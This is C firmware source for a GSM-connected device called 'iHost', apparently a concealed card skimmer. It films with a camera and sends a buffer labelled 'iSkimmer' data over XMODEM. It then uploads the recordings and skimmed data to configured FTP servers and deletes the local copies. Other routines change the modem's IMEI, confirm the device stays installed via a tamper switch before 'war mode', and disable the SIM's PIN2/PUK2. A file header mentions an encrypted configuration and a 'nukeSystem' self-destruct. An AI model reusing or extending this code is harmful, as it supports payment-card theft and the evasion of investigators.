			{ xprint("Hatali cevap geldi: %02X", tmpI);   return cevap;}
		}
	}

	return result;
}

uint8_t _xmodemPaketGonder(uint8_t paketNo, btUpdateBuffer_TypeDef *btUpdateBuffer)
{
	uint8_t  result 	= 1;							/* Cevap Default olarak hata 									*/
	uint32_t timeNow 	= CRYOTIMER_CounterGet();		/* Su anki zamani sakla											*/

	while (true)	/* Timeout olana kadar veya beklenen sonuç alana kadar dene 										*/
	{
		if ( (timeNow + XMODEM_PAKET_TIMEOUT) < CRYOTIMER_CounterGet() )
		{ xprint("Paket gonderimi timeout oldu: %02X", paketNo); return 1; }

		LEUART_Tx(LEUART0, XMODEM_SOH);					/* Start of Header 												*/
		LEUART_Tx(LEUART0, paketNo);					/* Paket No 													*/
		LEUART_Tx(LEUART0, 0xff - paketNo);				/* 0xff - paketNo 												*/
		uint32_t pktAdresi = (paketNo-1) * 128;			/* Paket başının adresi 										*/

		/* XMODEM Paket uzunluğu kadar veriyi gönder */
		for (uint8_t i = 0; i < XMODEM_PAKET_UZUNLUK; i++)
		{ LEUART_Tx(LEUART0, btUpdateBuffer->data[pktAdresi + i]); }		/* Paket datasını gönder 					*/

		/*
		 * Checksum değerini hesapla ve gönder
		 *		Hesaplama işleminde gönderilen paketin btBuffer.buffer adresi hesaplanarak kullanılıyor
		 *			Hesaplama işleminde pktAdresi kullanılır
		 *			pktAdresi aynı zamanda "yukarda" LEUART'dan hangi byte'ın gönderileceği hesabında da kullanılır
		 *
		 */
		char *ptr = ((char *) (&btUpdateBuffer->data) ) + pktAdresi ;
		uint16_t chkSum = _xmodemCRC(ptr, XMODEM_PAKET_UZUNLUK);

		LEUART_Tx(LEUART0, (uint8_t) (chkSum >> 8) );
		LEUART_Tx(LEUART0, (uint8_t) chkSum);

		result = _xmodemBekle(XMODEM_ACK);				/* ACK Sinyali bekle 											*/
		if (!result)									/* Paket başarıyla gönderildi, Hata varsa tekrar gönder 		*/
		{ break;}
	}

	return result;
}

/*
 * btUpdateBuffer XMODEM protocol ile gönderilir
 *		Buraya geldiğinde modül çalışıyor ve /Upload directory içindedir
 *
 */
void xmodemSend(char *dosyaUpload, btUpdateBuffer_TypeDef *btUpdateBuffer)
{
	uint8_t result;						/* Değerlendirilecek Cevaplar 				*/

	xprint("XMODEM ile gonderilecek dosya: %s", dosyaUpload);

	for (uint8_t i = 0; i < 2; i++)		/* 2 defa XMODEM gönderi yapmayı dene 		*/
	{
		uint8_t paketNo = 1;														/* Gönderilecek paket numarası, 1'den başlar, Resetten sonra burada olmalı 				*/
		WDOG_Feed(); 																/* Köpeği besle, havlayıp reset etmesin 												*/
		sendGSMCommand(GSM_FS_CD_UPLOAD_DIR, 		 "", "", true, GSM_TIMEOUT_2);	/* Döngüde GSM Modül reset edebilir, /Upload directory gir 								*/
		sendGSMCommand(GSM_FS_DEL, dosyaUpload, 	 	 "", true, GSM_TIMEOUT_2);	/* Belki aynı isimde yarım kalan gönderi olmuştur, silmek gerekir 						*/
		sendGSMCommand(GSM_XMODEM_DELAY, 			 "", "", true, GSM_TIMEOUT_2);	/* GSM Modül XMODEM transfer başlangıcında hiç bekleme yapmadan hemen başlasın 			*/
		sendGSMCommand(GSM_XMODEM_SEND, dosyaUpload, 	"\"",true, GSM_TIMEOUT_2);	/* Dosya adını gönder ve GSM Modül XMODEM dosya transferi başlatsın 					*/

		result = _xmodemBekle(XMODEM_NCG);											/* XMODEM başlama için GSM Modülden 'C' bekle 											*/
		if (result)
		{ goto cikis; }

		xprint("Baslama cevabi alindi: %02X", result);

		while (true)
		{
			xprint("Paket gonderiliyor: %d", paketNo);

			result = _xmodemPaketGonder(paketNo, btUpdateBuffer);
			if (result)
			{ goto cikis; }

			if ( (paketNo * 128) >= btUpdateBuffer->counter) 	/* Yeterince gönderildiyse çıkış 				*/
			{ break; }

			paketNo++;	/* Burada arttır */
		}
		LEUART_Tx(LEUART0, XMODEM_EOT);				/* End of Transfer gönder 									*/
		result = _xmodemBekle(XMODEM_ACK);			/* Son ACK'yı bekle 										*/
		LEUART_Tx(LEUART0, '\r');					/* Enter göndererek bitir, cevap gelmeyecek 				*/

cikis:
		if (result) {
			xprint("XMODEM Hata! Modul kapatip acilacak ve XMODEM tekrar denenecek");

			gsmRegulatorClose();					/* GSM Regulator kapatılır 									*/
			initGSM();								/* GSM Modül ile ilk iletişim gerçekleşir 					*/
		} else
		{ xprint("XMODEM gonderimi basarili sonuclandi"); break; }
	}

	if (result != cmdOk) { resetSistem(); }			/* XMODEM Gönderimi başarısız olduysa Reset işlemi 			*/
}

/*
 * GSM Modül CFUN=1 yani full functional mod'a geçirilir
 * 		Eğer başarısız olursa devam etmenin bir anlamı olmadığından reset edilir
 *
 * 		PIN girilerek RF'in aktif olması beklenir
 *
 */
void onlineGSM(void)
{
	gsmCommandResult_TypeDef result = cmdError;

	result = sendGSMCommand(GSM_MODE_ON, "", "", true, GSM_TIMEOUT_10);
	if (result != cmdOk) { xprint("Full functional moda gecilemiyor"); resetSistem(); }

	result = _pinEnter();						/* Pin enabled ise girmeye çalış, hata durumu geri döndür (Modülden cevap alınamamış olabilir)	*/
	if (result != cmdOk) { resetSistem(); }		/* Pin girişinde sorun çıktıysa sistemi reset et 												*/

	bekle(10000, true, 2);						/* PIN Girişinden sonra 10 saniye daha bekle, network registration'lar tamamen bitsin 			*/
}

/*
 * GSM Modül'ü Data Moduna geçirir
 * 		Önce Vodafone APN kullanmayı dener
 * 			Başarısız olursa Turkcell APN kullanmayı dener
 * 		FTP'ye login yapar
 * 			FTP'de sorun varsa 2. FTP'yi de dener
 * 		cmd.txt dosyasını indirerek işlemden geçirir
 *
 */
gsmCommandResult_TypeDef gsmDataMode(void)
{
	gsmCommandResult_TypeDef result = cmdError;
	char tmpS[100];

	xprint("Data Mode geciliyor");

	for (uint8_t i = 1; i < 3; i++) {
		WDOG_Feed(); 							/* Köpeği besle, havlayıp reset etmesin 														*/
		bosATKomutlari();						/* Boş AT Komutları gönderilerek modül uyandırılır 												*/
		onlineGSM();							/* GSM Modül uykudan uyanıp online duruma geçsin, PIN girilsin 									*/

		/* Önce Vodafone denenir, bağlantı kurulamazsa Turkcell APN denenir */
		if (i == 1) {
			sendGSMCommand(GSM_APN1_VODAFONE, "", "", true, GSM_TIMEOUT_2);
			sendGSMCommand(GSM_APN2_VODAFONE, "", "", true, GSM_TIMEOUT_2);
		} else {
			sendGSMCommand(GSM_APN1_TURKCELL, "", "", true, GSM_TIMEOUT_2);
			sendGSMCommand(GSM_APN2_TURKCELL, "", "", true, GSM_TIMEOUT_2);
		}

		sendGSMCommand(GSM_DATA_SETPN, 	"", "", true, GSM_TIMEOUT_2);
		sendGSMCommand(GSM_DATA_CATR, 	"", "", true, GSM_TIMEOUT_2);

/*
 * TODO: buradaki sprintf'ler kontrol edilmeli
 * 				kendisini kendisine kopyalamada sorun çıkıyor
 * 				ama bu rutin neden hatasız çalışıyor
 *
 */
		sprintf(tmpS, "%s\"%s\",21,", GSM_FTP_LOGIN, systemVariables.ftpServer1);				/* Üçüncü % paremetre yazıldığında uyarı verdiği için 2 parçaya bölündü */
		sprintf(tmpS, "%s\"%s\",\"%s\",0", tmpS, systemVariables.ftpUser1, systemVariables.ftpPass1);

		result = sendGSMCommand(GSM_FTP_SSTART, "", "", false,  GSM_TIMEOUT_30); if (result != cmdOk) { goto cikis; }
		result = sendGSMCommand(tmpS, 			"", "", false,  GSM_TIMEOUT_30);
		if (result != cmdOk) {
			/*
			 * Eğer FTP'ye login yapılamadıysa FTP Sitesinde bir problem olabilir
			 * 		İkinci yedek FTP Sitesine bağlanılmaya çalışılır
			 */
			WDOG_Feed(); 			/* Köpeği besle, havlayıp reset etmesin */
			xprint("Ikinci FTP Sitesi deneniyor");

			sendGSMCommand(GSM_FTP_LOGOUT, "", "", false, GSM_TIMEOUT_5);
			sendGSMCommand(GSM_FTP_SSTOP,  "", "", false,  GSM_TIMEOUT_5);
			bekle(5000, true, 2);

			sprintf(tmpS, "%s\"%s\",21,", GSM_FTP_LOGIN, systemVariables.ftpServer2);			/* Üçüncü % paremetre yazıldığında uyarı verdiği için 2 parçaya bölündü */
			sprintf(tmpS, "%s\"%s\",\"%s\",0", tmpS, systemVariables.ftpUser2, systemVariables.ftpPass2);

			result = sendGSMCommand(GSM_FTP_SSTART, "", "", false, GSM_TIMEOUT_30); if (result != cmdOk) { goto cikis; }
			result = sendGSMCommand(tmpS, 			"", "", false, GSM_TIMEOUT_30); if (result != cmdOk) { goto cikis; }
		}

		WDOG_Feed(); 		/* Köpeği besle, havlayıp reset etmesin */

		/*
		 * Buraya geldiğinde FTP Sitesine bağlantı onaylanmıştır.
		 * 		systemVariables yeni bir dosya olarak gönderilir
		 * 		cmd.txt dosyası varsa indir
		 * 		komutParse() çalıştır
		 *
		 */
		loginDosyaAlVer();				/* FTP Sunucuda login dosyası oluştur, systemVariables'ı dosya olarak gönder 		*/
		result = cmdOk; 				/* Login dosyalarında sorun çıksın veya çıkmasın, Her halukarda upload'ı dene 		*/
		break; 							/* Eğer çıkışa gitmediyse herşey yolundadır, break 									*/

cikis:
		WDOG_Feed(); 					/* Köpeği besle, havlayıp reset etmesin 											*/

		if (i == 1) {
			xprint("Vodafone APN Basarisiz, Turkcell denenecek");

			gsmRegulatorClose();		/* GSM Regulator kapatılır 															*/
			initGSM();					/* GSM Modül ile ilk iletişim gerçekleşir 											*/
		} else {
			/*
			 * Çıkan hatanın sayisi arttirilarak flash'a yazılır
			 * 		Burada hata miktarının 2'yi geçmesi ve SimCom imei zorlaması veya reset yapılmaz
			 * 			Çünkü belki network arızası vardır, biraz beklenmesi gerekiyordur
			 * 			Reset vs. yapılmadan soft davranış sergileyerek rutin'den çıkılır
			 *
			 * 		Hata miktarı kontrol'ü imei değişiminde yapılacaktır
			 *
			 */
			systemVariables.imeiHATA++;

			xprint("Turkcell APN de basarisiz, cikilacak");
			xprint("imeiHatasi arttirilip yaziliyor: %d", systemVariables.imeiHATA);
			flashWrite();
		}

		WDOG_Feed(); 		/* Köpeği besle, havlayıp reset etmesin */
	}

	return result;
}

/*
 * uploadGSM aracılığı ile tüm dosyalar FTP Upload yapılır
 * 		Modül'ün /Upload directory'e girilip hepsi FTP sitesine gönderilmeye çalışılır
 * 			Gönderilen dosyalar Modül'den silinir
 * 			Gönderim başarısız olursa 3 kere hata çıkma toleransı tanınır
 * 				Eğer hata sayısı 3 olursa diğer dosyalar gönderilmez, daha sonra denemek üzere rutinden çıkılır
 *
 */
bool uploadGSM(void)
{
	uint8_t cntHata 	  = 0;			/* Hata miktarı sayıcısı 									*/
	char dosyaAdi[50]	  = {0};		/* Tek bir dosya adı 										*/
	uint16_t cntMain  	  = 0; 			/* Buffer'ın Ana indexi 									*/
	uint16_t cntBulunan   = 0;			/* Bulunan ve Buffer'a kaydedilen yerleri tutan index 		*/
	uint16_t dosyalarYeri = 0;			/* Dosya Listesinin rxBuffer.data içersindeki konumu 		*/
	WDOG_Feed(); 						/* Köpeği besle, havlayıp reset etmesin 					*/

	gsmCommandResult_TypeDef result = cmdError;

	sendGSMCommand(GSM_FS_CD_ROOT_DIR, 	"", "", true, GSM_TIMEOUT_2); 		/* Önce Root Directory gidilir 													*/
	sendGSMCommand(GSM_FS_CD_UPLOAD_DIR,"", "", true, GSM_TIMEOUT_2);		/* Upload directory'e girilir 													*/
	sendGSMCommand(GSM_FS_LIST, 		"", "", true, GSM_TIMEOUT_5);		/* Dosya Listesi alınır 														*/

	uint16_t dosyaSayisi = _dosyaAyikla(true);

	if (dosyaSayisi == 0)
	{ xprint("Gonderilecek dosya yok"); return true; }
	else {
		/*
		 * rxBuffer'daki veriler buffer'ın sonuna doğru taşınır
		 * 		Dosya Listesi aldıktan sonraki buffer GSM Komutları gönderilmesiyle silinir
		 * 		FAKAT upload için gönderilen GSM komutları çok fazla veri geriye döndürmez
		 * 		Bu sebeple; buffer'da bulunan, file list cevabı olabildiğince sona alınır
		 *
		 * 		GSM komutları rxBuffer'ın başını kullanıyorken, File List'in bulunduğu yer güvende kalır
		 *		(rxBuffer sonundan index kadar geri bir adres belirlendi. Garanti için 10 daha geri gelindi)
		 *
		 * 		Neticeten ikinci bir buffer kullanmadan ve çok hızlı bir çözüm üretildi
		 *
		 */
		dosyalarYeri = MAX_RXBUFFER_SIZE - rxBuffer.index - 10;
		memcpy(rxBuffer.data + dosyalarYeri, rxBuffer.data, rxBuffer.index);
		uint16_t rxIndexBack = rxBuffer.index; 		/* Index backup al, GSM Komut gönderildiğinde orjinal değişecek 										*/

		cntMain = dosyalarYeri;		/* Dosyaların bulunduğu yerin ofseti 																					*/

		while (true)
		{
			cntBulunan = 0;										/* ctnBulunan her bir dosya için sıfırlanır 												*/
			if (cntMain >= dosyalarYeri + rxIndexBack) 			/* rxBuffer'daki veri limitine ulaşınca çık 												*/
			{ break; } 											/* dosyalarYeri ofseti de eklenir 															*/

			if (rxBuffer.data[cntMain++] == '<') {				/* Start Sentinel bulundu 																	*/
																/* Veriyi geçici değişkene kopyala 															*/
				while (true)									/* Dosya/Komut Adı bitene kadar kopyala 													*/
				{
					if ( (rxBuffer.data[cntMain] == '>') || (cntMain >= dosyalarYeri + rxIndexBack) )
					{ break; }

					dosyaAdi[cntBulunan++] = rxBuffer.data[cntMain++];
				}
				dosyaAdi[cntBulunan] = 0;		/* Sonu NULL yapılır */

				xprint("Gonderiliyor: %s", dosyaAdi);
				result = sendGSMCommand(GSM_FTP_PUTFILE, dosyaAdi, "\",0", false, GSM_TIMEOUT_220); WDOG_Feed(); 	/* Köpeği besle, havlayıp reset etmesin */

				if (result == cmdOk) {
					sendGSMCommand(GSM_FS_DEL, dosyaAdi, "", true, GSM_TIMEOUT_2);

					xprint("Dosya silindi: %s", dosyaAdi);
				} else {
					cntHata++;
					xprint("Gonderme HATA sayisi: %d -  Dosya GSM Modulden silinmedi, tekrar gonderilecek", cntHata);

					if (cntHata >= 3) /* En fazla 3 hata olursa çıkış */
					{ return false; }
				}

			}
		}
	}

	return true;
}

/*********************************************************************************************************************************
 * @brief	gsmUpdate - btUpdate buffer GSM aracılığı ile merkeze gönderilir
 *
 * @details
 *			GSM Modül açılır ve sınanması yapılır
 *			Data Mode'a geçilir, FTP Bağlantısı yapılır
 *				2 FTP Sitesi desteklemektedir
 *			FTP Sitesindeki cmd.txt dosyasını indirir ve işler
 *			Modül'ün /Upload directory'deki bütün dosyaları FTP Sitesine gönderir
 *
 *			Sonucun önemi yoktur çünkü sonuca sadece modül açılıp temel kullanımı yapılabiliyorsa
 *				ve aynı zamanda sleep'e geçebiliyorsa ulaşılır
 *				Eğer temel iletişim veya sleep yapılamıyorsa o zaman bu başarı sağlanana kadar Sistem Reset yapılacaktır
 *				Upload başarı olsun yada olmasın modül sleep'e geçirilir
 *					Bu rutin çıkışında modül kamera kaydına hazır haldedir
 *
 ********************************************************************************************************************************/
void gsmUpdate()
{
	gsmCommandResult_TypeDef result 	= cmdError;

	ZAMAN_SIFIRLA;

	xprint("gsmUpdate() - basladi");

	initGSM();							/* GSM Modül açılır 											*/
	result = gsmDataMode(); 			/* Data Mode'a geçip FTP Server'a bağlan 						*/

	if (result == cmdOk)				/* Data Mode'a başarılı geçildiyse 								*/
	{ uploadGSM(); }					/* GSM Upload yapılır 											*/

	gsmSleep();							/* Upload başarılıp olduğuna bakılmaksızın sleep'e geçilir		*/
}

/*
 * camRecord ile Kamera kaydı yapılır
 * 		Kamera kaydı yapıldıktan sonra btUpdateBuffer Modül'e xmodem protocol ile gönderilir
 * 		Kamera kaydı ve iSkimmer datası aynı isme sahip olmaları sağlanır
 * 		Her iki kayıt /Upload directory'e kopyalanıp /Video'dan silinir
 *
 *		/Upload directory'deki dosyalar sayılır ve eqer limit üzeri ise uploadGSM yapılır
 *
 */
void camRecord(btUpdateBuffer_TypeDef *btUpdateBuffer)
{
	gsmCommandResult_TypeDef result = cmdError;

	char dosyaCAM[50]	 = { 0 };
	char dosyaUpload[50] = { 0 };

	ZAMAN_SIFIRLA;

	xprint("camRecord() - basladi");

	txAyarla(true);				/* LEUART TX Pin aktif hale getir 							*/
	bekle(1000, true, 2);		/* 1 saniye bekle, Modül Pinleri detect etsin 				*/
	bosATKomutlari(); 			/* Boş AT Komutları gönderilerek modül uyandırılır 			*/

	/*
	 * /Upload Directory'e girilir
	 * 		Burada sonuç kontrol edilir ki GSM Modül'ün uyandığından emin olunabilsin
	 * 		Eğer uyanamadıysa Kamera kaydi yapmaya çalışmanın anlamı olmadığından reset edilir
	 *
	 */
	result = sendGSMCommand(GSM_FS_CD_UPLOAD_DIR, "", "", true, GSM_TIMEOUT_2);
	if (result != cmdOk) {
		xprint("GSM Modul uyanamadi. Kamera kaydi iptal, resetSystem()");
		resetSistem();
	}

	result = sendGSMCommand(GSM_CAMERA_VOLTAGE, 	"", 						 "", true, GSM_TIMEOUT_2);
	result = sendGSMCommand(GSM_CAMERA_ENABLE, 		"", 						 "", true, GSM_TIMEOUT_2);
	result = sendGSMCommand(GSM_CAMERA_START, 		"", 						 "", true, GSM_TIMEOUT_2);
	result = sendGSMCommand(GSM_CAMERA_RESOLUTION,  systemVariables.camRes, 	 "", true, GSM_TIMEOUT_2);
	result = sendGSMCommand(GSM_CAMERA_FPS, 		systemVariables.camFps, 	 "", true, GSM_TIMEOUT_2);
	result = sendGSMCommand(GSM_CAMERA_NIGHT, 		systemVariables.camNight, 	 "", true, GSM_TIMEOUT_2);
	result = sendGSMCommand(GSM_CAMERA_WHITEBAL, 	systemVariables.camWhiteBal, "", true, GSM_TIMEOUT_2);
	result = sendGSMCommand(GSM_CAMERA_BRIGHT, 		systemVariables.camBright, 	 "", true, GSM_TIMEOUT_2);

	xprint("Kamera kaydindan once bekleniyor: %d Saniye", systemVariables.camWait);
	bekle(systemVariables.camWait * 1000, true, 2);

	/*
	 * Kamera kaydına başlat ve dosya adını al
	 * 		camDosyaAdiAl işlemi kamera kaydından hemen sonra yapılmalıdır
	 * 			Aksi halde dosya adı rxBuffer'da olamayacağı için bulunamaz
	 *
	 */
	result = sendGSMCommand(GSM_CAMERA_RECORDSTART, "", "", true, GSM_TIMEOUT_2);
	if (result != cmdOk) {
		xprint("RECORDSTART yapılamiyor. Kamera kaydi iptal, resetSystem()");
		resetSistem();
	}
	_camDosyaAdiAl(dosyaCAM);

	xprint("Kamera kaydi yapiliyor: %d Saniye", systemVariables.camRecord);

	/*
	 * Kamera kaydi yapilirken btUpdateBuffer gönderilir
	 * 		Gönderme bittikten sonra, kalan kayıt süresi kadar uykuya geçilir
	 *
	 * 		Index 0 ise Geçici btUpdateBuffer 391 byte doldurulur
	 * 			Bu rutin aslında debug amaçları için yazılmıştır
	 * 			Ayrıca faydası, eğer buffer boş ise ve buraya geldiyse (aslında olamayacak birşey)
	 * 				herhangi bir rutinde arıza çıkmadan, buffer doluymuş gibi çalışması için
	 * 				bir önlem niteliğindedir
	 *
	 */
	uint32_t startTime = CRYOTIMER_CounterGet(); 			/* Şimdiki zamanı al 														*/

	if (btUpdateBuffer->counter == 0) {
		xprint("btUpdateBuffer bos. xModem gonderimi icin 391 byte dolduruluyor")

		for (int i= 0; i < MAX_BTBUFFER_SIZE; i++)
		{ btUpdateBuffer->data[i] = (uint8_t) i; btUpdateBuffer->counter = 391;}
	}

	_dosyaAdiOlustur(dosyaUpload, 1, true); 				/* Benzersiz dosya adı oluştur; 1 = zip = iSkimmer; değişkenleri reset et 	*/
	xmodemSend(dosyaUpload, btUpdateBuffer); 				/* btUpdateBuffer XMODEM protocol ile GSM Modüle gönderilir 				*/
	memset(btUpdateBuffer, 0x00, sizeof(_btUpdateBuffer) );	/* btUpdateBuffer'ı tamamen sil												*/

	/*
	 * Dosya gönderildikten sonra çözünürlüğü düşür
	 *		Birkaç saniye full çözünürlükte kullan, ışık vs. ayarlaması daha iyi oluyor
	 *
	 */
	char tmpC[50];
	bekle(3000, true, 2); 				/* 3 Saniye daha bekle 																			*/
	if (systemVariables.camHStop) {		/* Eğer 0 ise Horizontal ayar kullanma, default 0, 320 											*/
		sprintf(tmpC, "+CWIIC=0X42,0X17,0X%02X,1", (systemVariables.camHStart >> 3) );		/* HStart'ı 3 sağa kaydır 					*/
		sendGSMCommand(tmpC, "", "", true, GSM_TIMEOUT_2);
		sprintf(tmpC, "+CWIIC=0X42,0X18,0X%02X,1", (systemVariables.camHStop  >> 3) );		/* HStop'u  3 sağa kaydır 					*/
		sendGSMCommand(tmpC, "", "", true, GSM_TIMEOUT_2);
	}
	if (systemVariables.camVStop) {		/* Eğer 0 ise Vertical ayar kullanma, default 0, 240 											*/
		sprintf(tmpC, "+CWIIC=0X42,0X19,0X%02X,1", (systemVariables.camVStart >> 2) );		/* VStart'ı 2 sağa kaydır 					*/
		sendGSMCommand(tmpC, "", "", true, GSM_TIMEOUT_2);
		sprintf(tmpC, "+CWIIC=0X42,0X1A,0X%02X,1", (systemVariables.camVStop  >> 2) );		/* VStop'u  2 sağa kaydır 					*/
		sendGSMCommand(tmpC, "", "", true, GSM_TIMEOUT_2);
	}

	uint32_t endTime = CRYOTIMER_CounterGet(); 												/* Şimdiki zamanı al 						*/
	uint32_t kalanSure = (systemVariables.camRecord * 1000) - (endTime-startTime);			/* Kalan süreyi hesapla						*/
	xprint("Kalan beklenecek sure: %d", (int) kalanSure);
	bekle(kalanSure, true, 2);	/* Uykuda bekle */

	/* Beklenecek süre geçtikten sonra kaydı bitir ve kopyala*/
	result = sendGSMCommand(GSM_CAMERA_RECORDEND, 	"", "", true, GSM_TIMEOUT_2);
	result = sendGSMCommand(GSM_CAMERA_STOP, 		"", "", true, GSM_TIMEOUT_2);
	result = sendGSMCommand(GSM_CAMERA_DISABLE, 	"", "", true, GSM_TIMEOUT_2);

	_dosyaAdiOlustur(dosyaUpload, 2, false); 	/* Benzersiz dosya adı oluştur; 2 = rar = Camera; değişkenleri reset etmeden oluştur 	*/
	char tmpS[50];
	sprintf(tmpS, ",C:/Upload/%s", dosyaUpload);

	sendGSMCommand(GSM_FS_COPY, 		dosyaCAM, tmpS, true, GSM_TIMEOUT_5);		/* Copy işlemi yapılır 								*/
	sendGSMCommand(GSM_FS_CD_VIDEO_DIR, 		"", "", true, GSM_TIMEOUT_2);		/* Video directory girilir 							*/
	sendGSMCommand(GSM_FS_DEL, 	  			 "*.*", "", true, GSM_TIMEOUT_2);		/* Bütün /Video directory silinir 					*/

	/*
	 * /Upload Directory'e girilir
	 * 		Burada sonuç kontrol edilir ki GSM Modül'ün Kamera Kaydı sonrası sorunsuz çalıştığı tecrübe edilir
	 * 		Eğer cevap alınamazsa Kamera Kaydı esnasında sorun çıktı demektir. Sistem reset edilir
	 *
	 */
	result = sendGSMCommand(GSM_FS_CD_UPLOAD_DIR, "", "", true, GSM_TIMEOUT_2);
	if (result != cmdOk) {
		xprint("btUpdateBuffer gonderiminden once GSM Modul cevap vermiyor. resetSystem()");
		resetSistem();
	}

	sendGSMCommand(GSM_FS_LIST, "", "", true, GSM_TIMEOUT_5);		/* Dosya Listesi alınır	*/
	uint8_t dosyaSayisi = _dosyaAyikla(true);

	if (dosyaSayisi >= systemVariables.updateFileLimit) {
		xprint("Mevcut dosya sayisi (%d), uploadLimit (%d) uzerinde. gsmUpdate yapilacak", dosyaSayisi, systemVariables.updateFileLimit);

		_imeiDegistir(false);		/* IMEI değiştir, forceNonSimCom = false 				*/
		resetSistem();				/* resetSistem() aracılığı ile gsmUpdate() yapılır 		*/
	} else
	{ xprint("Mevcut dosya sayisi (%d), uploadLimit (%d) e ulasmadi", dosyaSayisi, systemVariables.updateFileLimit); }

	gsmSleep();
}

/*
 * setupIHost() ile iHost'un ilk takma işlemi yapılır
 *		İlgili telefon görüntülü aranır
 *			Eğer telefon açılıp belli bir süre beklendiyse
 *				Tamper switch 3 dk boyunca kapalı kalırsa Savaş Moduna geç
 *				Bu süre içersinde Tamper switch açılırsa reset et ve baştan başla
 *			Eğer Telefon açılmazsa reset et ve baştan başla
 *
 */
void setupIHost_videoCall(void)
{
	gsmCommandResult_TypeDef result = cmdError;

	xprint("setupIHost basladi");

	initGSM();					/* GSM Modül ile ilk iletişim gerçekleşir 												*/
	onlineGSM();				/* GSM Modül uykudan uyanıp online duruma geçsin, PIN girilsin 						 	*/
	WDOG_Feed(); 				/* Köpeği besle, havlayıp reset etmesin 												*/

	/*
	 * Burası çok seksi bir telefon açılıp belli bir süre açık kaldığını anlama rutini
	 * 		Video araması doğru olarak yapıldığında ve telefon kapatıldığında sırasıyla şu cevaplar gelmekte
	 * 			OK				-> Komut alındı
	 * 			VPRINGBACK		-> Telefon çalıyor
	 * 			VPSETUP			-> Açıldı, ayarlama yapılıyor
	 * 			VPCONNECTED		-> Görüntülü bağlanıldı
	 * 			VPEND: xx		-> Bağlantı sonlandırıldı xx Saniye
	 *
	 * 		Eğer sendGSMCommand gönderilirken standart OK komutu beklemek yerine
	 * 			normalde hata olarak kullanılan ": x" (x = 1 den 9'a kadar) değerini beklersek
	 * 			bu aramanın beklenildiği gibi gerçekleştiği ve sonlandırıldığını göstermekte olur
	 *
	 *		Görüntülü arama başarılı olsun yada olmasın, takma kontrolüne başlanır
	 *			Belki UMTS yoktur ve takıldığından emin olunmuştur
	 *
	 */
	xprint("Goruntulu arama baslatiliyor");

	result = sendGSMCommand(GSM_CAMERA_VOLTAGE, 	"", "", true, GSM_TIMEOUT_2);
	result = sendGSMCommand(GSM_CAMERA_ENABLE, 		"", "", true, GSM_TIMEOUT_2);
	sendGSMCommand(GSM_VIDEO_CALL, systemVariables.aranacakNo, "", true, GSM_TIMEOUT_5); 	/* */
	result = sendGSMCommand(GSM_CAMERA_NIGHT, 		systemVariables.camNight, 	 "", true, GSM_TIMEOUT_2);
	result = sendGSMCommand(GSM_CAMERA_WHITEBAL, 	systemVariables.camWhiteBal, "", true, GSM_TIMEOUT_2);
	result = sendGSMCommand(GSM_CAMERA_BRIGHT, 		systemVariables.camBright, 	 "", true, GSM_TIMEOUT_2);

	result = sendGSMCommand("", "", "", false, GSM_TIMEOUT_220); 	/* Boş bir AT Komutu gönderip Watchdog Limiti kadar bekleme yapar, VIDEO_CALL Sonucunu yakalar 	*/

	if (result != cmdError)
	{ xprint("Goruntulu arama beklenilen sekilde sonuclanmadi"); } else
	{ xprint("Goruntulu arama basarili"); }

	xprint("Takma kontrolu basladi");
	WDOG_Feed(); 														/* Köpeği besle, havlayıp reset etmesin										*/
	uint8_t tmpI;														/* Tamper Switch konumu 													*/
	uint32_t timeNow = CRYOTIMER_CounterGet();							/* Su anki zamani sakla 													*/
	while (true)														/* Sonsuz döngü 															*/
	{
		tmpI = GPIO_PinInGet(TAMPER_PORT, TAMPER_PIN);
		if (!tmpI)
		{ xprint("iHost yerine takilmadi"); resetSistem(); }

#ifdef DEBUG															/* DEBUG yapılıyorsa 10 saniye bekle 										*/
		if ( (timeNow + GSM_TIMEOUT_10) < CRYOTIMER_CounterGet() )		/* LETIMER 16bit sayabildiği için, 65535ms üzeri CRYOTIMER ile ölçülür 		*/
#else																	/* DEBUG yapılmıyorsa 220 saniye bekle 										*/
		if ( (timeNow + GSM_TIMEOUT_220) < CRYOTIMER_CounterGet() )		/* LETIMER 16bit sayabildiği için, 65535ms üzeri CRYOTIMER ile ölçülür 		*/
#endif
		{ break; }
	}

	xprint("iHost yerine basariyla takildi");

	sprintf(systemVariables.aranacakNo, 	"12345678");				/* Artık savaş moduna geçilir 												*/
	flashWrite();														/* Sistem variables flash'a yazılır 										*/
	resetSistem();														/* Sistem baştan başlatılır 												*/
}

/*
 * PIN2 ve PUK2 hala mevcutsa onları FUCK yapar
 * 		Bu işlem doğru pin girildikten sonra yapılmalıdır
 *
 * 		Formatı şu şekilde çalışmaktadır:
 * 			AT+CPIN="ESKIPIN","0001"
 *
 * 		Bu komut hem PIN2 girişi ve hem de PUK2 girişi için kullanılir
 *
 */
void fuckPin2Puk2(void)
{
	initGSM();										/* GSM Modül ile ilk iletişim gerçekleşir, doSleep = false ile uykuya geçsin istenmez 			*/
	onlineGSM();									/* GSM Modül uykudan uyanıp online duruma geçsin, PIN girilsin 									*/
	WDOG_Feed(); 									/* Köpeği besle, havlayıp reset etmesin 														*/

	char tmpC[50] = { 0 };
	sprintf(tmpC, "AT+CPIN=\"%s\",\"0001\"\r", systemVariables.pin);
	xprint("PIN2 ve PUK2 hizlica yokediliyor: %s", tmpC);
	for (uint8_t i = 0; i < 30; i++) {
		_txGonder(tmpC, sizeof(tmpC), true);		/* Önce 30 defa PIN2,PUK2 göndererek SIM PIN2 ve PUK2'i devre dışı bırak 						*/
		bekle(100, true, 0);						/* Komut aralarında bekle 																		*/
	}
}

iHost_init.c
/*********************************************************************************************************************************
 * @file    iHost_init.c
 * @author  ChaO
 * @date    2008
 *
 * @brief   iHost cihazının donanım başlatma, güvenli konfigürasyon yönetimi ve temel güvenlik fonksiyonlarını içerir.
 *
 * @details
 *          Bu dosya, iHost cihazının başlangıç yapılandırmasından ve temel güvenlik
 *          mekanizmalarından sorumludur. `initIHost` ana başlangıç fonksiyonudur.
 *
 *          Temel Sorumluluklar:
 *          - **Güvenli Konfigürasyon:** Cihazın tüm ayarlarını (`systemVariables`)
 *          flash bellekte şifreli olarak saklar. Bu işlem için Tiny Encryption
 *          Algorithm (TEA) kullanılır (`encrypt`/`decrypt`). Şifreleme anahtarı,
 *          cihazın benzersiz (unique) ID'si ile türetilerek her cihaz için farklı
 *          olması sağlanır.
 *
 *          - **Anti-Tamper Mekanizması:** Cihaz kasasının açılması durumunda tetiklenen
 *          bir tamper switch'i (`initTamper`) yönetir. Tetiklenme anında sistem
 *          kendini resetler ve bir sonraki açılışta imha (`nukeSystem`) sürecini
 *          başlatabilir.
 *
